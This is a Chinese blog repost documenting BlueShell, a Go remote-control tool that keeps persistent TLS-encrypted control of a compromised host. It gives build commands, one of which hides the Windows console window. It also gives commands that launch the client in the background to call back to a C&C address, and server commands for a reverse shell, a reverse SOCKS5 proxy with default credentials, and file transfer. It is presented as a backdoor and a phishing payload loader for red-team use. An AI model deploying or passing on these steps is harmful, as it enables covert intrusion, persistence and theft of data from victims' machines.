zoukankan      html  css  js  c++  java
  • BlueShell——tls 1.3的C2通信

    BlueShell

    BlueShell是一个Go语言编写的持续远控工具,拿下靶机后,根据操作系统版本下载部署对应的bsClient,其会每隔固定时间向指定的C&C地址发起反弹连接尝试,在C&C端运行bsServer即可连接bsClient,从而实现对靶机的持续控制,主要适用场景:

    • 红蓝对抗中的持久化后门或内网代理
    • 社工钓鱼二次加载Payload

    目前支持的主要功能有:

    • 循环持续控制
    • 跨平台,支持Linux、Windows、MacOS
    • 交互式Shell反弹,Linux支持Tab补全、VIM、Ctrl+C等交互式操作,Windows只支持普通反弹Shell
    • Socks5代理反弹
    • 文件上传、下载
    • TLS通信加密

    项目地址:https://github.com/whitehatnote/BlueShell

    编译可执行文件

    Linux and MacOS

    生成bsClient

    go get github.com/armon/go-socks5
    go get github.com/creack/pty
    go get github.com/hashicorp/yamux
    
    go build --ldflags "-s -w " -o bsClient client.go

    生成bsServer

    go get github.com/creack/pty
    go get github.com/hashicorp/yamux
    go get github.com/djimenez/iconv-go
    go get golang.org/x/crypto/ssh/terminal
    
    go build --ldflags "-s -w " -o bsServer server.go

    Windows

    生成bsClient

    go get github.com/armon/go-socks5
    go get github.com/creack/pty
    go get github.com/hashicorp/yamux
    
    go build --ldflags "-s -w -H=windowsgui" -o bsClient.exe client.go

    工具使用方法

    Client

    在受控靶机上运行bsClient

    Windows靶机:

    默认配置模式启动

    start /b bsClient.exe

    参数模式启动,-h指定远控端地址,-p指定远控端监听端口,-t指定尝试连接远控的间隔秒数

    start /b bsClient.exe -h 10.0.0.1 -p 443 -t 10

    Linux and MacOS靶机:

    默认配置模式启动

    nohup bsClient &

    参数模式启动,-h指定远控端地址,-p指定远控端监听端口

    nohup bsClient -h 10.0.0.1 -p 443 &

    C&C Server

    远控端运行bsServer,需要是Linux机器,并且key目录与bsServer在相同根目录下,启动成功如下效果:

    [root@host BluesShell]# ls -al
    总用量 4148
    drwxr-xr-x   3 root root    4096 6月  17 22:14 .
    drwxrwxrwt. 10 root root   40960 6月  17 22:13 ..
    -rwxr-xr-x   1 root root 4193320 6月  17 22:13 bsServer
    drwxr-xr-x   2 root root    4096 6月  17 22:13 key
    [root@host BluesShell]# ./bsServer
    waiting for client connect...
    

    Action:反弹shell

    默认启动,远控监听8081端口,执行反弹shell操作

    ./bsServer

    参数启动,-p指定远控监听443端口,-a指定执行反弹shell操作

    ./bsServer -p 443 -a shell

    windows靶机的乱码问题解决,-rencode指定靶机的编码类型

    ./bsServer -rencode gb2312

    Action:反弹Socks5代理

    默认启动,远控监听8081端口,执行反弹socks操作,socks5的默认监听端口为7777,默认用户名blue,默认密码Blue@2020

    ./bsServer -a socks

    参数启动,-p指定远控监听443端口,-a指定执行反弹socks操作,-sport指定socks监听的端口为7778,-suser指定socks代理的认证账号,-spass指定socks代理的认证密码

    ./bsServer -p 443 -a socks -sport 7778 -suser socksUser -spass socksPassword

    Action:文件上传下载

    上传本地文件到受控靶机,-lpath指定需要上传的本地文件路径,-rdir指定上传到的目录

    ./bsServer -a upload -lpath /tmp/tmp.txt -rdir c:\

    从受控靶机下载文件到本地,-rpath指定需要下载的文件地址,-ldir指定存放下载文件的本地路径

    ./bsServer -a upload -rpath c:\tmp.txt -ldir /tmp

    0x4. 参考

  • 相关阅读:
    Django 之 CBV & FBV
    如何在Pycharm设置ES6语法环境
    RabbitMQ_消息队列基本使用_2
    RabbitMQ_消息队列基本使用_1
    HTML 之 Table 表格详解
    Datetime 模块求日期差
    vue实例属性之methods和computed
    性格测试
    vue中的组件
    vue中的表单
  • 原文地址:https://www.cnblogs.com/bonelee/p/14079501.html
Copyright © 2011-2022 走看看